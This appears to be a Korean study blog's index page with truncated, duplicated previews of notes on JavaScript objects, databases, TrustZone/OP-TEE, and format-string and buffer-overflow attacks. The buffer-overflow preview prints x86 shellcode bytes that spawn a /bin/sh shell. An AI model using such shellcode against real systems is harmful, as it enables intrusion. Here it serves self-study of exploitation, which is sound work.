전체 글
Happy Hacking!
-
🍉 객체란? js는 객체 기반 프로그래밍 언어이다. js를 구성하는 거의 "모든 것"이 객체다. 원시 값을 제외한 나머지 값(함수, 배열, 정규 표현식 등)은 도무 객체다. 원시 타입은 단 하나의 값만 나타내지만 객체 타입은 다양한 타입의 값을 하나의 단위로 구성한 복합적인 자료구조다. 또한 원시 타입 값은 변경 불가능한 값이지만 객체는 변경 가능한 값이다. 따라서 객체를 생성해 놓고 나중에 프로퍼티를 동적으로 추가할 수도 있다. 객체는 0개 이상의 프로퍼티로 구성된 집합이며, 프로퍼티는 키와 값으로 구성된다. js에서 사용할 수 있는 모든 값은 프로퍼티가 될 수 있다. js의 함수는 일급 객체이므로 값으로 취급 가능하고, 함수도 프로퍼티 값으로 사용 가능하다. 프로퍼티 값이 함수일 경우, 일반 함수와 ..
21/09/11 TL. 객체 리터럴, 원시 값과 객체의 비교🍉 객체란? js는 객체 기반 프로그래밍 언어이다. js를 구성하는 거의 "모든 것"이 객체다. 원시 값을 제외한 나머지 값(함수, 배열, 정규 표현식 등)은 도무 객체다. 원시 타입은 단 하나의 값만 나타내지만 객체 타입은 다양한 타입의 값을 하나의 단위로 구성한 복합적인 자료구조다. 또한 원시 타입 값은 변경 불가능한 값이지만 객체는 변경 가능한 값이다. 따라서 객체를 생성해 놓고 나중에 프로퍼티를 동적으로 추가할 수도 있다. 객체는 0개 이상의 프로퍼티로 구성된 집합이며, 프로퍼티는 키와 값으로 구성된다. js에서 사용할 수 있는 모든 값은 프로퍼티가 될 수 있다. js의 함수는 일급 객체이므로 값으로 취급 가능하고, 함수도 프로퍼티 값으로 사용 가능하다. 프로퍼티 값이 함수일 경우, 일반 함수와 ..
2021.09.12 -
데이터베이스 첫걸음 chapter 1. 🍉 데이터베이스의 기본 기능 🥥 데이터의 검색과 갱신 데이터베이스의 가장 중요한 기능은 원하는 데이터를 찾는 검색이다. 키워드를 통해 검색을 수행할 수단으로 관련 데이터를 추출해낼 수 있어야 한다. 🍑 넓은 의미에서 갱신은 등록/수정/제거 데이터베이스는 새로운 데이터를 등록하고 기존 데이터를 수정하며 불필요한 데이터를 제거할 수 있어야 한다. 이 세가지 기능을 통틀어 갱신 이라고 한다. 혹은 기존 데이터 수정 만을 의미할 때도 있다. 🍑 데이터 포맷에 유의한다 데이터베이스를 조작할 때 가장 중요한 것은 데이터를 어떤 포맷(형식)으로 관리하는가, 검색이나 갱신에서 효율적인가 등의 문제이다. 예를 들면 고유성(Uniqueness)를 준수해야 한다 등이 있다. 🍑 처리 ..
21/09/08 TL. 데이터베이스의 기본 기능과 종류데이터베이스 첫걸음 chapter 1. 🍉 데이터베이스의 기본 기능 🥥 데이터의 검색과 갱신 데이터베이스의 가장 중요한 기능은 원하는 데이터를 찾는 검색이다. 키워드를 통해 검색을 수행할 수단으로 관련 데이터를 추출해낼 수 있어야 한다. 🍑 넓은 의미에서 갱신은 등록/수정/제거 데이터베이스는 새로운 데이터를 등록하고 기존 데이터를 수정하며 불필요한 데이터를 제거할 수 있어야 한다. 이 세가지 기능을 통틀어 갱신 이라고 한다. 혹은 기존 데이터 수정 만을 의미할 때도 있다. 🍑 데이터 포맷에 유의한다 데이터베이스를 조작할 때 가장 중요한 것은 데이터를 어떤 포맷(형식)으로 관리하는가, 검색이나 갱신에서 효율적인가 등의 문제이다. 예를 들면 고유성(Uniqueness)를 준수해야 한다 등이 있다. 🍑 처리 ..
2021.09.08 -
리플리케이션 : 여러 db를 권한에 따라 수직적으로 연결한다. Master는 쓰기 작업만 하고, Slave는 읽기 작업만 처리한다. Master와 Slave간 데이터 무결성 검사(검색한 데이터가 원하는 데이터인지 검사)를 하지 않는 비동기 방식으로 노드들 간의 데이터를 동기화한다. - 장점 : select 성능을 높일 수 있고, 지연 시간이 없다. - 단점 : 노드들 간 데이터 동기화가 보장되지 않아 일관성 있는 데이터를 얻지 못할 수 있다. Master 노드가 다운되면 복구 및 대처가 까다롭다. 클러스터링 : 여러 개의 DB를 수평적인 구조로 구축하는 방식이다. failover 시스템을 구축하기 위해 사용된다. 노드들 간 데이터를 동기화한다. db들 간 무결성 검사를 하는 동기 방식으로 데이터를 동기화..
21/08/09 TL. db 리플리케이션 vs 클러스터링. GTID리플리케이션 : 여러 db를 권한에 따라 수직적으로 연결한다. Master는 쓰기 작업만 하고, Slave는 읽기 작업만 처리한다. Master와 Slave간 데이터 무결성 검사(검색한 데이터가 원하는 데이터인지 검사)를 하지 않는 비동기 방식으로 노드들 간의 데이터를 동기화한다. - 장점 : select 성능을 높일 수 있고, 지연 시간이 없다. - 단점 : 노드들 간 데이터 동기화가 보장되지 않아 일관성 있는 데이터를 얻지 못할 수 있다. Master 노드가 다운되면 복구 및 대처가 까다롭다. 클러스터링 : 여러 개의 DB를 수평적인 구조로 구축하는 방식이다. failover 시스템을 구축하기 위해 사용된다. 노드들 간 데이터를 동기화한다. db들 간 무결성 검사를 하는 동기 방식으로 데이터를 동기화..
2021.08.09 -
root 권한에서 모든 권한을 쥐고 있기 때문에, root 권한을 얻게 되면 공격자가 마음대로 control할 수 있게 된다. 이러한 취약점 때문에 OS도 믿지 못한다는 관점이 나왔고, HW를 OS가 존재하는 Normal World(REE)와 보안적으로 접근할 수 없는 보안 영역 Secure World(TEE)로 나누게 되었다. REE(Rich Execution Environment)) : 일반적인 실행 환경 TEE (Trusted Execution Environment) : 보안 기능을 보호하고 신뢰된 코드만을 실행하는 공간. REE와 분리된 독립된 공간이다. Normal World에서 Secure Worl로 접근하기 위해서는 다음과 같은 수단을 필요로 한다. TZASC - DRAM(memory) TZ..
21/04/15 TL. OPTEEroot 권한에서 모든 권한을 쥐고 있기 때문에, root 권한을 얻게 되면 공격자가 마음대로 control할 수 있게 된다. 이러한 취약점 때문에 OS도 믿지 못한다는 관점이 나왔고, HW를 OS가 존재하는 Normal World(REE)와 보안적으로 접근할 수 없는 보안 영역 Secure World(TEE)로 나누게 되었다. REE(Rich Execution Environment)) : 일반적인 실행 환경 TEE (Trusted Execution Environment) : 보안 기능을 보호하고 신뢰된 코드만을 실행하는 공간. REE와 분리된 독립된 공간이다. Normal World에서 Secure Worl로 접근하기 위해서는 다음과 같은 수단을 필요로 한다. TZASC - DRAM(memory) TZ..
2021.04.16 -
FSB를 이용한 공격을 수행해 본다. 그 전에 printf()를 호출하기 직전에 Stack에 저장되는 구조를 알아야 한다. #include int main(){ int a=10; int b=20; printf("A:%d, B:%d and B's address: %08x\n",a,b,&b); return 0; } 포맷스트링이란 변수의 출력 형태를 결정하는 것이다. %d : 10진수, %u : 부호 없는 정수, %x : 16진수, %p : 주소출력, %c : 1byte(문자 하나), %s : 문자열(a에 대한 주소부터 0x0까지), %l = 8byte 다음과 같은 코드를 실행하면, A와 B의 값을 알려주고 B의 주소를 알려준다. 우선 이번에도 ASLR을 해제하자. 코드는 다음과 같다. sudo sysctl ..
21/04/04 TL. FSB를 이용한 공격FSB를 이용한 공격을 수행해 본다. 그 전에 printf()를 호출하기 직전에 Stack에 저장되는 구조를 알아야 한다. #include int main(){ int a=10; int b=20; printf("A:%d, B:%d and B's address: %08x\n",a,b,&b); return 0; } 포맷스트링이란 변수의 출력 형태를 결정하는 것이다. %d : 10진수, %u : 부호 없는 정수, %x : 16진수, %p : 주소출력, %c : 1byte(문자 하나), %s : 문자열(a에 대한 주소부터 0x0까지), %l = 8byte 다음과 같은 코드를 실행하면, A와 B의 값을 알려주고 B의 주소를 알려준다. 우선 이번에도 ASLR을 해제하자. 코드는 다음과 같다. sudo sysctl ..
2021.04.04 -
공격자들은 악성코드를 심기 위해 shell을 띄우는 작업을 많이 한다. #include #include unsigned char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; // 25byte shellcode // “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80” => 24byte shellcode // “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x5..
21/03/28 TL. BOF를 이용한 공격(2)공격자들은 악성코드를 심기 위해 shell을 띄우는 작업을 많이 한다. #include #include unsigned char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; // 25byte shellcode // “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80” => 24byte shellcode // “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x5..
2021.03.28